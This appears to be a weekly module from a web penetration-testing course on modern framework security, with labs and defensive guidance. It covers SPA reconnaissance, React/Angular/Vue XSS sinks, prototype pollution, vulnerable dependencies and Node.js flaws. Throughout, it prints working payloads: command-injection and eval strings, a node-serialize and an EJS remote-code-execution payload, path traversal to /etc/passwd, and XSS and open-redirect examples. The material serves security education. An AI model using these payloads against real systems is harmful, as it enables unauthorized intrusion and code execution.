Opening Framing: The Framework Era
Modern web development is dominated by frameworks—React, Angular, Vue on the frontend; Express, Django, Spring, Laravel on the backend. These frameworks include security features by default, but they also introduce new attack surfaces and failure modes.
Frameworks change the testing approach. Traditional XSS payloads may not work against React's virtual DOM. SQLi is rare in applications using ORMs properly. But new vulnerabilities emerge—prototype pollution, JWT misuse, insecure defaults, and framework-specific bypasses.
This week covers testing modern JavaScript frameworks, understanding framework-specific vulnerabilities, and adapting your methodology for contemporary applications.
Key insight: Frameworks reduce some vulnerabilities but create new ones. Know what each framework protects—and doesn't.
1) Single Page Application (SPA) Security
Understanding modern frontend architecture:
SPA Architecture:
Traditional Web App:
Browser ←→ Server ←→ Database
Server generates HTML
Single Page Application:
Browser (JS App) ←→ API ←→ Database
Client renders everything
Server provides data via API
Security Implications:
- Business logic moves to client
- Client-side routing
- State management client-side
- API is the true attack surface
SPA Reconnaissance:
# Finding JavaScript files:
# Check page source:
<script src="/static/js/main.abc123.js"></script>
# Common bundle locations:
/static/js/
/assets/js/
/dist/
/bundle.js
/main.js
/app.js
/vendor.js
/runtime.js
/chunk-*.js
# Source maps (jackpot!):
/static/js/main.abc123.js.map
# Reveals original source code!
# Tools:
# Browser DevTools → Sources tab
# Shows all loaded scripts
JavaScript Analysis:
# Extracting information from JS:
# API endpoints:
grep -oE '"/api/[^"]+' main.js
grep -oE 'https?://[^"]+' main.js
# Hardcoded secrets:
grep -i 'api_key\|apikey\|secret\|password\|token' main.js
# Hidden functionality:
# Look for admin routes, debug endpoints
# Tools:
# - LinkFinder: Extracts URLs from JS
# - SecretFinder: Finds secrets in JS
# - JSParser: Parses JS for endpoints
# LinkFinder:
python linkfinder.py -i https://target.com/main.js -o cli
# Beautify minified JS:
# Browser DevTools → Pretty print
# Online: beautifier.io
Client-Side Routing:
# SPAs use client-side routing:
https://app.com/dashboard → Same HTML
https://app.com/admin → Same HTML
https://app.com/settings → Same HTML
# All routes load same index.html
# JavaScript handles routing
# Security testing:
1. Access "protected" routes directly
# /admin may load without auth check
2. Check if routes exist in JS
# grep for route definitions
3. API calls may still require auth
# But UI may be visible
# React Router patterns:
<Route path="/admin" component={AdminPanel} />
# Search JS for Route patterns
# Angular patterns:
{ path: 'admin', component: AdminComponent }
# Search for path: definitions
Key insight: SPAs shift security concerns to APIs. But client-side code often reveals API endpoints and logic.
2) React, Angular, and Vue Security
Framework-specific security considerations:
React Security:
Built-in XSS Protection:
- JSX auto-escapes by default
- {userInput} is safe
Dangerous patterns:
- dangerouslySetInnerHTML={{__html: userInput}}
- href={userInput} (javascript: URLs)
- eval() usage
- Server-Side Rendering (SSR) XSS
# Testing React XSS:
# Look for dangerouslySetInnerHTML in source
# Test javascript: URLs in links
# Check SSR endpoints for reflection
Angular Security:
Angular Security:
Built-in Protection:
- Automatic sanitization
- Template expression sandboxing (newer versions)
Dangerous patterns:
- [innerHTML]="userInput" (sanitized but check)
- bypassSecurityTrust*() methods
- Template injection (older Angular)
# Bypass methods to look for:
bypassSecurityTrustHtml()
bypassSecurityTrustScript()
bypassSecurityTrustUrl()
bypassSecurityTrustResourceUrl()
bypassSecurityTrustStyle()
# If user input reaches these = XSS
# Testing:
grep -r "bypassSecurityTrust" *.js
grep -r "\[innerHTML\]" *.html
Vue.js Security:
Vue Security:
Built-in Protection:
- Template expressions auto-escaped
- {{ userInput }} is safe
Dangerous patterns:
- v-html="userInput"
- :href="userInput" (javascript: URLs)
- Server-side rendering XSS
- Template compilation from user input
# Testing Vue XSS:
# Search for v-html directives
grep -r "v-html" *.vue *.js
# Check for dynamic templates:
new Vue({
template: userInput // Dangerous!
})
Common Frontend Vulnerabilities:
# PostMessage vulnerabilities:
# Insecure origin check:
window.addEventListener('message', function(e) {
// No origin validation!
eval(e.data);
});
# Attack:
# Open target in iframe
# Send malicious postMessage
# Testing:
# Search for addEventListener('message'
# Check if origin is validated
# Check what happens with message data
# localStorage/sessionStorage:
# Sensitive data in storage:
localStorage.setItem('token', jwt);
localStorage.setItem('user', JSON.stringify(userData));
# XSS can read all storage!
# Check what's stored
# DevTools → Application → Storage
# Open Redirect in SPAs:
# Redirect parameter in URL:
https://app.com/login?redirect=/dashboard
https://app.com/login?redirect=https://evil.com
# Test for open redirects
# Check client-side redirect logic
Key insight: Frameworks protect against basic XSS but provide escape hatches. Find where developers use them.
3) Prototype Pollution
JavaScript-specific vulnerability class:
Prototype Pollution Concept:
JavaScript objects inherit from prototypes:
let obj = {};
obj.toString(); // Inherited from Object.prototype
If attacker can modify Object.prototype:
Object.prototype.isAdmin = true;
Every object now has isAdmin = true!
let user = {};
if (user.isAdmin) {
// Grants admin access!
}
How Pollution Occurs:
# Vulnerable merge/extend functions:
function merge(target, source) {
for (let key in source) {
target[key] = source[key];
}
return target;
}
# Attack payload:
{
"__proto__": {
"isAdmin": true
}
}
# After merge:
merge({}, {"__proto__": {"isAdmin": true}});
# Object.prototype.isAdmin is now true!
# Alternative payloads:
{"constructor": {"prototype": {"isAdmin": true}}}
# Vulnerable functions:
- Object.assign (in some cases)
- jQuery.extend (deep mode)
- lodash.merge (older versions)
- Custom recursive merge
Prototype Pollution Impact:
# Depending on application, pollution enables:
1. Property injection (access control bypass):
if (user.isAdmin) // Polluted = true
2. XSS via polluted properties:
# If code uses obj.innerHTML or similar
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>'
3. RCE in Node.js:
# Pollute properties used by child_process
{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(1)"}}
4. Denial of Service:
Object.prototype.length = 0;
# Breaks array operations
Testing for Prototype Pollution:
# Server-side testing (Node.js):
# In JSON body:
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
# Check response or behavior change
# Look for errors
# Client-side testing:
# URL parameters:
?__proto__[polluted]=yes
?constructor[prototype][polluted]=yes
# Check in console:
({}).polluted // Returns "yes" if vulnerable
# Tools:
# - ppmap (prototype pollution scanner)
# - Burp extension: Server-Side Prototype Pollution Scanner
# Common sources:
- JSON.parse() of user input
- URL parameter parsing (qs library)
- Merge/extend operations
Key insight: Prototype pollution is subtle but powerful. One polluted property can affect the entire application.
4) Dependency Vulnerabilities
Attacking through third-party code:
The Dependency Problem:
Modern apps have hundreds of dependencies:
- npm packages (JavaScript)
- PyPI packages (Python)
- Maven/Gradle (Java)
- Gems (Ruby)
- Composer (PHP)
Each dependency:
- May have vulnerabilities
- May have its own dependencies
- May be unmaintained
- May be malicious
Finding Vulnerable Dependencies:
# Identify dependencies:
# JavaScript (package.json):
{
"dependencies": {
"lodash": "^4.17.0",
"express": "^4.17.1"
}
}
# Check for vulnerable versions:
npm audit
yarn audit
# Online databases:
# - Snyk (snyk.io)
# - npm audit
# - OWASP Dependency Check
# - retire.js (client-side)
# retire.js (scan for vulnerable JS):
retire --js /path/to/js/files
# Snyk CLI:
snyk test
Client-Side Library Detection:
# Identify frontend libraries:
# Browser console:
jQuery.fn.jquery // jQuery version
angular.version // Angular version
React.version // React version
Vue.version // Vue version
# Wappalyzer extension:
# Shows all detected technologies
# retire.js browser extension:
# Flags vulnerable libraries
# Common vulnerable libraries:
- jQuery < 3.5.0 (XSS)
- Angular < 1.6.0 (sandbox escape)
- lodash < 4.17.19 (prototype pollution)
- bootstrap < 4.3.1 (XSS)
Exploiting Known CVEs:
# Once you identify versions:
1. Search for CVEs:
# NVD: nvd.nist.gov
# Snyk Vulnerability DB
# GitHub Security Advisories
2. Find exploit details:
# CVE description
# Proof of concept
# Affected versions
3. Test exploitation:
# Adapt PoC to target
# Verify vulnerability
# Example: jQuery < 3.5.0 XSS
# CVE-2020-11022, CVE-2020-11023
# XSS via HTML parsing
# Example: Lodash prototype pollution
# CVE-2019-10744
# Prototype pollution via defaultsDeep
Supply Chain Attacks:
# Malicious packages:
# Typosquatting:
lodash → lodahs (malicious)
express → expresss (malicious)
# Dependency confusion:
# Internal package name used
# Attacker publishes public package with same name
# Build system pulls malicious public package
# Compromised packages:
# Legitimate package maintainer compromised
# Malicious code injected into update
# Testing considerations:
# - Review package.json for suspicious packages
# - Check package download counts
# - Verify package publisher
# - Use lockfiles (package-lock.json)
Key insight: Applications are only as secure as their weakest dependency. Known CVEs provide easy exploitation.
5) Server-Side JavaScript (Node.js)
Node.js specific vulnerabilities:
Node.js Attack Surface:
- Server-side JavaScript execution
- npm ecosystem vulnerabilities
- Prototype pollution (server-side)
- Insecure deserialization
- SSRF through request libraries
- Path traversal
- Command injection via child_process
Node.js Injection:
# Command injection:
# Vulnerable:
const { exec } = require('child_process');
exec('ping ' + userInput);
# Attack:
userInput = '127.0.0.1; whoami'
# eval injection:
# Vulnerable:
eval('var result = ' + userInput);
# Attack:
userInput = '1; require("child_process").execSync("whoami")'
# Template injection (EJS, Pug, etc.):
# Similar to SSTI covered in Week 8
Node.js Deserialization:
# node-serialize vulnerability:
# Vulnerable code:
var serialize = require('node-serialize');
var payload = req.body.data;
serialize.unserialize(payload);
# Attack payload (RCE):
{
"rce": "_$$ND_FUNC$$_function(){require('child_process').exec('whoami')}()"
}
# The function is executed during deserialization!
# Testing:
# Look for unserialize calls
# Send payload with $$ND_FUNC$$ pattern
Path Traversal in Node.js:
# Express static files:
# Vulnerable:
app.use(express.static('public'));
app.get('/files/:name', (req, res) => {
res.sendFile(path.join(__dirname, 'uploads', req.params.name));
});
# Attack:
GET /files/../../../etc/passwd
# Node.js specific:
# path.join doesn't prevent traversal
# Must validate input
# Testing:
../
..%2f
..%252f
%2e%2e%2f
Server-Side Prototype Pollution:
# More impactful on server-side:
# Can lead to RCE via:
1. Polluting child_process options
2. Polluting require() behavior
3. Polluting EJS/Pug template options
# EJS RCE via prototype pollution:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('whoami');x"}}
# When EJS renders, executes command!
# Testing:
# Find merge/extend operations
# Send __proto__ payload
# Check for behavior changes
Key insight: Node.js brings JavaScript vulnerabilities server-side. Prototype pollution becomes especially dangerous.
Real-World Context: Modern Framework Security
Framework vulnerabilities in practice:
Framework Adoption: React, Angular, and Vue dominate modern web development. Understanding their security models is essential for testing contemporary applications.
Dependency Nightmares: Major incidents like event-stream (malicious code in popular package) and Log4Shell (vulnerability in ubiquitous library) demonstrate the supply chain risk. One vulnerable dependency affects millions of apps.
Prototype Pollution Rise: Once obscure, prototype pollution has become a recognized vulnerability class with real-world exploits. Major frameworks have had prototype pollution CVEs.
MITRE ATT&CK Mapping:
- T1059.007 - JavaScript: Client/server JS attacks
- T1195.002 - Supply Chain Compromise: Dependency attacks
- T1190 - Exploit Public-Facing Application: Framework CVEs
Key insight: Modern frameworks reduce basic vulnerabilities but create new complexity. Stay current on framework-specific issues.
Guided Lab: Modern Framework Testing
Practice testing modern web applications.
Step 1: SPA Reconnaissance
# Find and analyze JavaScript:
1. View page source
2. Find all JS files
3. Check for source maps (.map files)
# Extract information:
# Use LinkFinder for endpoints
python linkfinder.py -i https://target.com/main.js -o cli
# Search for secrets:
grep -i 'api\|key\|secret\|token' main.js
Step 2: Framework Identification
# Identify framework:
# Browser console:
React.version
angular.version
Vue.version
# Wappalyzer extension
# Note framework version for CVE research
Step 3: Client-Side Vulnerability Testing
# Look for dangerous patterns:
grep -r "dangerouslySetInnerHTML" *.js
grep -r "v-html" *.js *.vue
grep -r "bypassSecurityTrust" *.js
# Test XSS in framework context
# Test postMessage handlers
# Check localStorage for sensitive data
Step 4: Prototype Pollution
# Test JSON endpoints:
{"__proto__": {"polluted": true}}
# Test URL parameters:
?__proto__[polluted]=true
# Verify in console:
({}).polluted
Step 5: Dependency Check
# Identify library versions
# Check against vulnerability databases
# Use retire.js for client-side
# Research CVEs for identified versions
Reflection (mandatory)
- How did SPA architecture affect your testing approach?
- What sensitive information did you find in JavaScript files?
- Were any vulnerable dependencies present?
- How do framework protections change XSS testing?
Week 11 Quiz
Test your understanding of Modern Web Framework Security (React, Angular, Node.js).
Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.
Take QuizWeek 11 Outcome Check
By the end of this week, you should be able to:
- Understand SPA architecture and security implications
- Test React, Angular, and Vue applications
- Identify and exploit prototype pollution
- Find vulnerable dependencies
- Test Node.js specific vulnerabilities
- Adapt testing methodology for modern frameworks
Next week: Capstone—complete web application assessment from start to finish.
🎯 Hands-On Labs (Free & Essential)
Apply what you learned through practical modern framework security testing. Complete these labs before moving to reading resources.
🎮 TryHackMe: React Security
What you'll do: Learn React-specific security vulnerabilities. Practice
exploiting dangerouslySetInnerHTML, XSS in React components, client-side routing bypass, and
props injection attacks.
Why it matters: React is the most popular JavaScript framework.
Understanding React security patterns (and anti-patterns) is essential for testing modern SPAs
and identifying framework-specific vulnerabilities.
Time estimate: 1.5-2 hours
🧃 OWASP Juice Shop: Modern Framework Challenges
What you'll do: Exploit Angular-specific vulnerabilities in Juice Shop.
Practice template injection, client-side validation bypass, and Angular-specific XSS
exploitation techniques.
Why it matters: Juice Shop is built with Angular—a perfect environment
to practice framework-specific attacks. Learn how modern frameworks introduce new attack vectors
beyond traditional web vulns.
Time estimate: 2-3 hours
💡 Lab Strategy: Modern frameworks change the attack surface. Practice React security first, then apply concepts to Angular via Juice Shop. Understanding framework-specific vulnerabilities is essential for testing modern web applications: 350 total XP, 3-5 hours!
🛡️ Defensive Architecture & Secure Design Patterns
Modern frameworks are secure by default, but only if you use their safe APIs. Defensive design enforces safe rendering, constrains client storage, and scans dependencies continuously.
Framework-Safe Rendering
Rules of thumb:
- Avoid dangerous HTML sinks (dangerouslySetInnerHTML, v-html)
- Prefer safe templating and sanitized components
- Treat postMessage input as untrusted data
Dependency Hygiene
Supply chain controls:
- Pin versions with lockfiles
- Run SCA on every build
- Remove unused dependencies
- Monitor for new CVEs and rotate keys
Real-World Incidents: npm Supply-Chain Attacks
Incidents like event-stream and typosquatting campaigns showed how compromised or lookalike packages can exfiltrate data. Lessons learned: audit dependencies, restrict install sources, and automate SCA with blocking thresholds.
Defensive Labs
Lab: Secure React/Vue Rendering
Replace unsafe HTML rendering with sanitized components and demonstrate blocked XSS payloads.
Lab: Implement CSP with Nonces
Add CSP nonces to framework scripts and verify inline script execution is blocked.
Lab: Run SCA on a Frontend Project
Use npm audit or Snyk to identify vulnerable packages and remediate the top three findings.
📚 Building on CSY101 Week-13: Threat model client-side trust boundaries and framework escape hatches. CSY101 Week-14: Map controls to NIST 800-53 (SA/CM) and CIS Controls. CSY104 Week-11: Use CVSS to prioritize dependency fixes.
Reading Resources (Free + Authoritative)
Complete the required resources to build your foundation.
- PortSwigger - Prototype Pollution · 45-60 min · 50 XP · Resource ID: csy203_w11_r1 (Required)
- OWASP Node.js Security Cheat Sheet · 30-45 min · 50 XP · Resource ID: csy203_w11_r2 (Required)
- Snyk Learn - Vulnerability Education · Reference · 25 XP · Resource ID: csy203_w11_r3 (Optional)
Lab: Modern Application Assessment
Goal: Perform security assessment of a modern SPA application.
Part 1: Reconnaissance
- Identify framework and version
- Map all JavaScript files
- Extract API endpoints from JS
- Check for source maps
- Search for hardcoded secrets
Part 2: Client-Side Analysis
- Review JS for dangerous patterns
- Test client-side routing
- Check localStorage/sessionStorage
- Test postMessage handlers
- Look for DOM XSS sinks
Part 3: Prototype Pollution
- Test JSON endpoints for pollution
- Test URL parameters
- Identify impact if successful
Part 4: Dependency Analysis
- Enumerate client-side libraries
- Check versions against CVE databases
- Test exploitation of known vulnerabilities
Part 5: Framework-Specific Testing
- Apply framework-specific tests
- Look for security bypass patterns
- Test SSR endpoints if present
Deliverable (submit):
- Framework/technology inventory
- JavaScript analysis findings
- Client-side vulnerability report
- Dependency vulnerability list
- Remediation recommendations
Checkpoint Questions
- How does SPA architecture change the attack surface?
- What pattern in React indicates potential XSS?
- What is prototype pollution and how does it work?
- Why are dependency vulnerabilities significant?
- How can source maps help in security testing?
- What makes Node.js deserialization dangerous?
Weekly Reflection
Reflection Prompt (200-300 words):
This week you learned to test modern web frameworks—the technologies that power most contemporary applications. You explored SPA architecture, framework-specific vulnerabilities, and dependency risks.
Reflect on these questions:
- Modern frameworks include security by default. How should this change your testing approach compared to legacy apps?
- Prototype pollution is a JavaScript-specific vulnerability. As JS usage grows, what does this mean for web security?
- Applications have hundreds of dependencies. How can organizations realistically manage this risk?
- You analyzed client-side JavaScript for secrets and endpoints. What does this reveal about assumptions developers make?
A strong reflection will connect modern framework testing to broader security trends and development practices.
Verified Resources & Videos
- JS Analysis: LinkFinder
- Dependency Check: retire.js
- Prototype Pollution: ppmap - Prototype Pollution Scanner
Modern framework testing requires understanding both the protections frameworks provide and the new vulnerabilities they introduce. As web development continues to evolve, staying current on framework security is essential. The JavaScript analysis and prototype pollution skills you've developed apply to the vast majority of contemporary applications. Next week: your capstone brings everything together in a complete web application assessment.